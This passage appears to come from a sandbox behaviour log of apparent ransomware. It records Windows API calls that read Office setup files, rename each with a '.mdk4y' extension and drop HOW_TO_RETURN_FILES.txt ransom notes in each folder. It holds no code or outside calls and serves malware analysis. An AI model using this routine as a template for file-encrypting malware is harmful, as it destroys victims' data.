[0107.374] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLXML", lpUsedDefaultChar=0x37de34) returned 9 [0107.374] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.375] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818260500000) returned 1 [0107.375] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x8f8, lpOverlapped=0x0) returned 1 [0107.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818269100000) returned 1 [0107.461] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818269100000) returned 1 [0107.461] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.mdk4y")) returned 1 [0107.462] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0107.462] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0107.462] AreFileApisANSI () returned 1 [0107.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 116 [0107.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0107.464] GetFileType (hFile=0x13c) returned 0x1 [0107.465] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0107.465] AreFileApisANSI () returned 1 [0107.465] GetACP () returned 0x4e4 [0107.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Groove.en-us", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Groove.en-us", lpUsedDefaultChar=0x37dec0) returned 12 [0107.465] AreFileApisANSI () returned 1 [0107.465] GetACP () returned 0x4e4 [0107.465] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=93, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\hŐh") returned 93 [0107.466] AreFileApisANSI () returned 1 [0107.466] GetACP () returned 0x4e4 [0107.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", lpUsedDefaultChar=0x37de34) returned 1 [0107.466] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.466] AreFileApisANSI () returned 1 [0107.466] GetACP () returned 0x4e4 [0107.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", lpUsedDefaultChar=0x37de34) returned 2 [0107.466] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.466] AreFileApisANSI () returned 1 [0107.466] GetACP () returned 0x4e4 [0107.466] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GrooveMUI.XML", cchWideChar=13, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="GrooveMUI.XMLrosoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", lpUsedDefaultChar=0x37de34) returned 13 [0107.466] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818269600000) returned 1 [0107.466] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x391, lpOverlapped=0x0) returned 1 [0107.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818271900000) returned 1 [0107.489] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818271900000) returned 1 [0107.489] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.mdk4y")) returned 1 [0107.490] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.490] AreFileApisANSI () returned 1 [0107.490] GetACP () returned 0x4e4 [0107.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XML.XML", lpUsedDefaultChar=0x37de34) returned 9 [0107.490] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818272100000) returned 1 [0107.491] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x5ac, lpOverlapped=0x0) returned 1 [0107.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818273000000) returned 1 [0107.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818273000000) returned 1 [0107.500] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.mdk4y")) returned 1 [0107.501] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0107.501] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0107.501] AreFileApisANSI () returned 1 [0107.501] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 117 [0107.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0107.503] GetFileType (hFile=0x13c) returned 0x1 [0107.504] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0107.504] AreFileApisANSI () returned 1 [0107.504] GetACP () returned 0x4e4 [0107.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InfoPath.en-us", cchWideChar=14, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="InfoPath.en-usC", lpUsedDefaultChar=0x37dec0) returned 14 [0107.504] AreFileApisANSI () returned 1 [0107.504] GetACP () returned 0x4e4 [0107.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=95, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\h") returned 95 [0107.504] AreFileApisANSI () returned 1 [0107.504] GetACP () returned 0x4e4 [0107.504] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", lpUsedDefaultChar=0x37de34) returned 1 [0107.504] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.504] AreFileApisANSI () returned 1 [0107.504] GetACP () returned 0x4e4 [0107.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", lpUsedDefaultChar=0x37de34) returned 2 [0107.505] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.505] AreFileApisANSI () returned 1 [0107.505] GetACP () returned 0x4e4 [0107.505] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="InfoPathMUI.XML", cchWideChar=15, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="InfoPathMUI.XMLsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\", lpUsedDefaultChar=0x37de34) returned 15 [0107.505] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.505] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818273500000) returned 1 [0107.505] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x4cf, lpOverlapped=0x0) returned 1 [0107.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818289600000) returned 1 [0107.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818289600000) returned 1 [0107.666] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.mdk4y")) returned 1 [0107.667] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.667] AreFileApisANSI () returned 1 [0107.667] GetACP () returned 0x4e4 [0107.667] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SETUP.XML", cchWideChar=9, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SETUP.XMLUI.XML", lpUsedDefaultChar=0x37de34) returned 9 [0107.667] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818289700000) returned 1 [0107.668] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x73c, lpOverlapped=0x0) returned 1 [0107.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818307600000) returned 1 [0107.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818307600000) returned 1 [0107.846] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.mdk4y")) returned 1 [0107.847] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0107.847] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0107.847] AreFileApisANSI () returned 1 [0107.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7d00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 119 [0107.847] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0107.849] GetFileType (hFile=0x13c) returned 0x1 [0107.850] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0107.850] AreFileApisANSI () returned 1 [0107.850] GetACP () returned 0x4e4 [0107.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ODeploy.exe", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ODeploy.exe-us", lpUsedDefaultChar=0x37dec0) returned 11 [0107.850] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0107.850] AreFileApisANSI () returned 1 [0107.850] GetACP () returned 0x4e4 [0107.850] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Office.en-us", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Office.en-usus", lpUsedDefaultChar=0x37dec0) returned 12 [0107.850] AreFileApisANSI () returned 1 [0107.850] GetACP () returned 0x4e4 [0107.850] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=93, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\hŐh ") returned 93 [0107.860] AreFileApisANSI () returned 1 [0107.860] GetACP () returned 0x4e4 [0107.860] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".on Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpUsedDefaultChar=0x37de34) returned 1 [0107.860] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.860] AreFileApisANSI () returned 1 [0107.861] GetACP () returned 0x4e4 [0107.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..n Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpUsedDefaultChar=0x37de34) returned 2 [0107.861] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.861] AreFileApisANSI () returned 1 [0107.861] GetACP () returned 0x4e4 [0107.861] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BRANDING.DLL", cchWideChar=12, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="BRANDING.DLLcrosoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpUsedDefaultChar=0x37de34) returned 12 [0107.861] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.875] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818310500000) returned 1 [0107.875] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x3b78, lpOverlapped=0x0) returned 1 [0107.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818311500000) returned 1 [0107.885] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818311500000) returned 1 [0107.886] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.mdk4y")) returned 1 [0107.886] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.886] AreFileApisANSI () returned 1 [0107.886] GetACP () returned 0x4e4 [0107.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BRANDING.XML", cchWideChar=12, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="BRANDING.XML", lpUsedDefaultChar=0x37de34) returned 12 [0107.886] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.887] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818311700000) returned 1 [0107.887] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x91975, lpOverlapped=0x0) returned 1 [0107.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818318900000) returned 1 [0107.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818318900000) returned 1 [0107.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.mdk4y")) returned 1 [0107.968] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.968] AreFileApisANSI () returned 1 [0107.968] GetACP () returned 0x4e4 [0107.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OCT.CHM", cchWideChar=7, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="OCT.CHMG.XML", lpUsedDefaultChar=0x37de34) returned 7 [0107.968] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818319900000) returned 1 [0107.969] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x11644, lpOverlapped=0x0) returned 1 [0107.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818320100000) returned 1 [0107.971] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818320100000) returned 1 [0107.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.mdk4y")) returned 1 [0107.975] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0107.975] AreFileApisANSI () returned 1 [0107.975] GetACP () returned 0x4e4 [0107.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OfficeMUI.XML", cchWideChar=13, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="OfficeMUI.XMLrosoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe", lpUsedDefaultChar=0x37de34) returned 13 [0107.975] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x140 [0107.975] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818320500000) returned 1 [0107.975] ReadFile (in: hFile=0x140, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x15b5, lpOverlapped=0x0) returned 1 [0107.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818323000000) returned 1 [0108.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1818323000000) returned 1 [0108.016] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 